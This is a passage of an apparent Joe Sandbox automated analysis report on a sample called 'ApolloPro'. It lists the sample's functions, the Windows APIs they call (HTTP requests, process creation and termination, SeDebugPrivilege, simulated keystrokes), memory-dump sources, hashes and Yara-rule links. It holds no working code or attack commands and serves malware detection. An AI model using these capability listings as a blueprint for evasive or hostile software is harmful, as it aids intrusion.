                                                                    Function 0083C634 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007B29E2: GetWindowLongW.USER32(?,000000EB), ref: 007B29F3
                                                                      • Part of subcall function 007B2714: GetCursorPos.USER32(?), ref: 007B2727
                                                                      • Part of subcall function 007B2714: ScreenToClient.USER32(008777B0,?), ref: 007B2744
                                                                      • Part of subcall function 007B2714: GetAsyncKeyState.USER32(00000001), ref: 007B2769
                                                                      • Part of subcall function 007B2714: GetAsyncKeyState.USER32(00000002), ref: 007B2777
                                                                    • ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?), ref: 0083C69C
                                                                    • ImageList_EndDrag.COMCTL32 ref: 0083C6A2
                                                                    • ReleaseCapture.USER32 ref: 0083C6A8
                                                                    • SetWindowTextW.USER32(?,00000000), ref: 0083C752
                                                                    • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0083C765
                                                                    • DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?), ref: 0083C847
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
                                                                    • String ID: @GUI_DRAGFILE$@GUI_DROPID
                                                                    • API String ID: 1924731296-2107944366
                                                                    • Opcode ID: 7589ef12acb17f17d24fe9842d0eebf34a9e8b6f4bd13a0fa49fc0d461c49d0c
                                                                    • Instruction ID: 3661e14999a6669839c70337f9204a805d530bc8372fe5c309ea040c4781cca4
                                                                    • Opcode Fuzzy Hash: 7589ef12acb17f17d24fe9842d0eebf34a9e8b6f4bd13a0fa49fc0d461c49d0c
                                                                    • Instruction Fuzzy Hash: 71517B70208304AFD714EF14CC59FAA7BE1FB84315F10852DFAA9972A2DB34E955CB92
                                                                    Function 008220E1 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0082211C
                                                                    • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00822148
                                                                    • InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 0082218A
                                                                    • InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 0082219F
                                                                    • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 008221AC
                                                                    • HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 008221DC
                                                                    • InternetCloseHandle.WININET(00000000), ref: 00822223
                                                                      • Part of subcall function 00822B4F: GetLastError.KERNEL32(?,?,00821EE3,00000000,00000000,00000001), ref: 00822B64
                                                                      • Part of subcall function 00822B4F: SetEvent.KERNEL32(?,?,00821EE3,00000000,00000000,00000001), ref: 00822B79
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
                                                                    • String ID:
                                                                    • API String ID: 2603140658-3916222277
                                                                    • Opcode ID: 321246010337a6922df36dc8b51e1a0116dc7e0a75080b539458b622a72cb365
                                                                    • Instruction ID: 4de4458a17a705c5c3e394d2004a2feccc7f790abeba5ad7d8d4d1f5339c495b
                                                                    • Opcode Fuzzy Hash: 321246010337a6922df36dc8b51e1a0116dc7e0a75080b539458b622a72cb365
                                                                    • Instruction Fuzzy Hash: F2418CB5500228BEEB129F60DC89FBB7BACFB08354F004116FA04DA141D776AE94DBA1
                                                                    Function 00829330 Relevance: 13.9, APIs: 9, Instructions: 438COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetModuleFileNameW.KERNEL32(?,?,00000104,?,00840980), ref: 00829412
                                                                    • FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00840980), ref: 00829446
                                                                    • QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 008295C0
                                                                    • SysFreeString.OLEAUT32(?), ref: 008295EA
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Free$FileLibraryModuleNamePathQueryStringType
                                                                    • String ID:
                                                                    • API String ID: 560350794-0
                                                                    • Opcode ID: 816ebaaa333f134440dd83b421535e4d4dca79036ceaa6c729a6be009c253955
                                                                    • Instruction ID: 0f677680a3d0d56195a1e87e3de81c1742b6b19c0d1a0fc08a1dad3f77d879dd
                                                                    • Opcode Fuzzy Hash: 816ebaaa333f134440dd83b421535e4d4dca79036ceaa6c729a6be009c253955
                                                                    • Instruction Fuzzy Hash: 2CF11975A00219EFCB14DF94D888EAEB7B9FF49314F108058F956EB251DB31AE85CB90
                                                                    Function 0082FD7D Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 0082FD9E
                                                                    • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0082FF31
                                                                    • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0082FF55
                                                                    • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0082FF95
                                                                    • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0082FFB7
                                                                    • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00830133
                                                                    • GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00830165
                                                                    • CloseHandle.KERNEL32(?), ref: 00830194
                                                                    • CloseHandle.KERNEL32(?), ref: 0083020B
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
                                                                    • String ID:
                                                                    • API String ID: 4090791747-0
                                                                    • Opcode ID: 706ffa2e77806b69d8b6ad91f6afed1d99e44a3b7bb60fbba8f4126ce7313968
                                                                    • Instruction ID: cfc731b959c74744139ed28e408612a56d41743c1a5cf5384349e4c8e315b263
                                                                    • Opcode Fuzzy Hash: 706ffa2e77806b69d8b6ad91f6afed1d99e44a3b7bb60fbba8f4126ce7313968
                                                                    • Instruction Fuzzy Hash: 9AE19B31204241DFC715EF24D8A5B6ABBE1FF85314F14886DF9899B2A2CB35EC41CB92
                                                                    Function 0081527C Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 00814BC3: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00813B8A,?), ref: 00814BE0
                                                                      • Part of subcall function 00814BC3: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00813B8A,?), ref: 00814BF9
                                                                      • Part of subcall function 00814FEC: GetFileAttributesW.KERNEL32(?,00813BFE), ref: 00814FED
                                                                    • lstrcmpiW.KERNEL32(?,?), ref: 008152FB
                                                                    • _wcscmp.LIBCMT ref: 00815315
                                                                    • MoveFileW.KERNEL32(?,?), ref: 00815330
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
                                                                    • String ID:
                                                                    • API String ID: 793581249-0
                                                                    • Opcode ID: 762161a92227088d72eef63d84674cd3480ff563437205a0c5d979304871cc5c
                                                                    • Instruction ID: 40a089d6f6b024a8b70fa38e82f8fbab86c8af7e550f461ca2881d1b0e34bb5c
                                                                    • Opcode Fuzzy Hash: 762161a92227088d72eef63d84674cd3480ff563437205a0c5d979304871cc5c
                                                                    • Instruction Fuzzy Hash: 615181B20087849BC724DBA4D885DDFB3ECEF85310F40492EB689D3152EF34A689C766
                                                                    Function 00838C6A Relevance: 13.7, APIs: 9, Instructions: 168COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00838D24
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: InvalidateRect
                                                                    • String ID:
                                                                    • API String ID: 634782764-0
                                                                    • Opcode ID: 72ce43cea1bcbdab15714010171f0fda732dc5a183639464df9fddbad2a0c501
                                                                    • Instruction ID: 918940ac916483c709bcfd15b20fad893cb259eace8356a2406645722a1afb82
                                                                    • Opcode Fuzzy Hash: 72ce43cea1bcbdab15714010171f0fda732dc5a183639464df9fddbad2a0c501
                                                                    • Instruction Fuzzy Hash: 7D51AA30641308FEEF609B28CC89B997BA4FB85354F244511FA15EB1E1CF75AD91CAD1
                                                                    Function 007B2F42 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 007EC638
                                                                    • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 007EC65A
                                                                    • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 007EC672
                                                                    • ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 007EC690
                                                                    • SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 007EC6B1
                                                                    • DestroyIcon.USER32(00000000), ref: 007EC6C0
                                                                    • SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 007EC6DD
                                                                    • DestroyIcon.USER32(?), ref: 007EC6EC
                                                                      • Part of subcall function 0083AAD4: DeleteObject.GDI32(00000000), ref: 0083AB0D
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
                                                                    • String ID:
                                                                    • API String ID: 2819616528-0
                                                                    • Opcode ID: cad7800fda31c67e271f39fa1d68c1cd766fa17b293578d9624e8457fb3c5d71
                                                                    • Instruction ID: df4074f69203daeb50edce21d9b2eee2289a7e857b0e1b3e05cba7ebf906ecb5
                                                                    • Opcode Fuzzy Hash: cad7800fda31c67e271f39fa1d68c1cd766fa17b293578d9624e8457fb3c5d71
                                                                    • Instruction Fuzzy Hash: 4E518874601209EFDB20DF25CC49BAA7BB5FB58310F104528F946E72A0DB79ED92DB50
                                                                    Function 0080A226 Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 0080B52D: GetWindowThreadProcessId.USER32(?,00000000), ref: 0080B54D
                                                                      • Part of subcall function 0080B52D: GetCurrentThreadId.KERNEL32 ref: 0080B554
                                                                      • Part of subcall function 0080B52D: AttachThreadInput.USER32(00000000,?,0080A23B,?,00000001), ref: 0080B55B
                                                                    • MapVirtualKeyW.USER32(00000025,00000000), ref: 0080A246
                                                                    • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 0080A263
                                                                    • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 0080A266
                                                                    • MapVirtualKeyW.USER32(00000025,00000000), ref: 0080A26F
                                                                    • PostMessageW.USER32(?,00000100,00000027,00000000), ref: 0080A28D
                                                                    • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 0080A290
                                                                    • MapVirtualKeyW.USER32(00000025,00000000), ref: 0080A299
                                                                    • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 0080A2B0
                                                                    • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 0080A2B3
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                                                    • String ID:
                                                                    • API String ID: 2014098862-0
                                                                    • Opcode ID: 252087ac224ef2e82c44f16710125d8291dd93ebd04ba0622b181b8af443a791
                                                                    • Instruction ID: f8149e7de55906f370eb4df9d58f76d29340f7e33106c97c94c97024311be4af
                                                                    • Opcode Fuzzy Hash: 252087ac224ef2e82c44f16710125d8291dd93ebd04ba0622b181b8af443a791
                                                                    • Instruction Fuzzy Hash: 6611CEB5950218BEF6106BA49C8AF6B3A2DFB4D754F110429F340AB0D1CAF25C50DEA0
                                                                    Function 008094D9 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,0080915A,00000B00,?,?), ref: 008094E2
                                                                    • HeapAlloc.KERNEL32(00000000,?,0080915A,00000B00,?,?), ref: 008094E9
                                                                    • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,0080915A,00000B00,?,?), ref: 008094FE
                                                                    • GetCurrentProcess.KERNEL32(?,00000000,?,0080915A,00000B00,?,?), ref: 00809506
                                                                    • DuplicateHandle.KERNEL32(00000000,?,0080915A,00000B00,?,?), ref: 00809509
                                                                    • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,0080915A,00000B00,?,?), ref: 00809519
                                                                    • GetCurrentProcess.KERNEL32(0080915A,00000000,?,0080915A,00000B00,?,?), ref: 00809521
                                                                    • DuplicateHandle.KERNEL32(00000000,?,0080915A,00000B00,?,?), ref: 00809524
                                                                    • CreateThread.KERNEL32(00000000,00000000,0080954A,00000000,00000000,00000000), ref: 0080953E
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                                    • String ID:
                                                                    • API String ID: 1957940570-0
                                                                    • Opcode ID: 559899b2729be7a0492f3dfd3af3c625f77bb334dc7727753c31e0cbcaade133
                                                                    • Instruction ID: 9555906833053a4a565acd7f3e59a13f3b4ca46648f9d2d6888a33d4758f1bc2
                                                                    • Opcode Fuzzy Hash: 559899b2729be7a0492f3dfd3af3c625f77bb334dc7727753c31e0cbcaade133
                                                                    • Instruction Fuzzy Hash: 8801A4B9640308BFE651ABA5DC4DF6B7BACFB8A711F008411FA05DB2A1CA749800CE20
                                                                    Function 0082A20D Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON
                                                                    Download Yara Rule
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: NULL Pointer assignment$Not an Object type
                                                                    • API String ID: 0-572801152
                                                                    • Opcode ID: b62997075e8eb4b61cdf7607d0f501f9d811552fb21a88ef4e20947c3a6ec21f
                                                                    • Instruction ID: 69a01d6cdab913d64e3e9b71a391d3ca7e581df14a66c6d36e1fbc7566b194b1
                                                                    • Opcode Fuzzy Hash: b62997075e8eb4b61cdf7607d0f501f9d811552fb21a88ef4e20947c3a6ec21f
                                                                    • Instruction Fuzzy Hash: 83C1B471A0022A9FDF14DF98E885AAEB7F5FF48314F148469E915E7280E770DD84CB91
                                                                    Function 008297FD Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Variant$ClearInit$_memset
                                                                    • String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                                                    • API String ID: 2862541840-625585964
                                                                    • Opcode ID: 3b0f35f89a4140782446079e90d724a4fa663def83980b822db5fb59595a4b07
                                                                    • Instruction ID: d660066cc882e64cc5aa2b067b4c95ba7457e3f8a767adc58cfc1575513cc7ff
                                                                    • Opcode Fuzzy Hash: 3b0f35f89a4140782446079e90d724a4fa663def83980b822db5fb59595a4b07
                                                                    • Instruction Fuzzy Hash: 59918D70A00229ABDF24CFA5D848FAEBBB8FF45724F10855DE556EB241D7709984CFA0
                                                                    Function 008373A5 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00837449
                                                                    • SendMessageW.USER32(?,00001036,00000000,?), ref: 0083745D
                                                                    • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00837477
                                                                    • _wcscat.LIBCMT ref: 008374D2
                                                                    • SendMessageW.USER32(?,00001057,00000000,?), ref: 008374E9
                                                                    • SendMessageW.USER32(?,00001061,?,0000000F), ref: 00837517
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$Window_wcscat
                                                                    • String ID: SysListView32
                                                                    • API String ID: 307300125-78025650
                                                                    • Opcode ID: a778617e70abb8df3beb9e3986f3aa2ad687dc18d9a8f6ad91d5379eb7b1e1e2
                                                                    • Instruction ID: 329a5ee3669726709916c9b9ff684d1aac0c5187b4b11dc25882ef4dc71ae015
                                                                    • Opcode Fuzzy Hash: a778617e70abb8df3beb9e3986f3aa2ad687dc18d9a8f6ad91d5379eb7b1e1e2
                                                                    • Instruction Fuzzy Hash: AD41C4B1904348AFEB219F64CC85BEE7BA8FF48350F10442AFA85E7291D671DD84CB90
                                                                    Function 0082F01C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 00814148: CreateToolhelp32Snapshot.KERNEL32 ref: 0081416D
                                                                      • Part of subcall function 00814148: Process32FirstW.KERNEL32(00000000,?), ref: 0081417B
                                                                      • Part of subcall function 00814148: CloseHandle.KERNELBASE(00000000), ref: 00814245
                                                                    • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0082F08D
                                                                    • GetLastError.KERNEL32 ref: 0082F0A0
                                                                    • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0082F0CF
                                                                    • TerminateProcess.KERNEL32(00000000,00000000), ref: 0082F14C
                                                                    • GetLastError.KERNEL32(00000000), ref: 0082F157
                                                                    • CloseHandle.KERNEL32(00000000), ref: 0082F18C
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
                                                                    • String ID: SeDebugPrivilege
                                                                    • API String ID: 2533919879-2896544425
                                                                    • Opcode ID: 2d4d93dfed4d0fefb12ebafd5b45a4906d01eef2bfb5c97d4f89b1ac0999ca64
                                                                    • Instruction ID: 9aa6908385ecf96a16a20a24711945c9024b4d6f81849e9d1e191bcd87f295cd
                                                                    • Opcode Fuzzy Hash: 2d4d93dfed4d0fefb12ebafd5b45a4906d01eef2bfb5c97d4f89b1ac0999ca64
                                                                    • Instruction Fuzzy Hash: 32417A31200211DFD725EF24DCA6FAAB7A5FF84714F048429FA429B2D3CB74A854CB96
                                                                    Function 008134DD Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadIconW.USER32(00000000,00007F03), ref: 0081357C
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
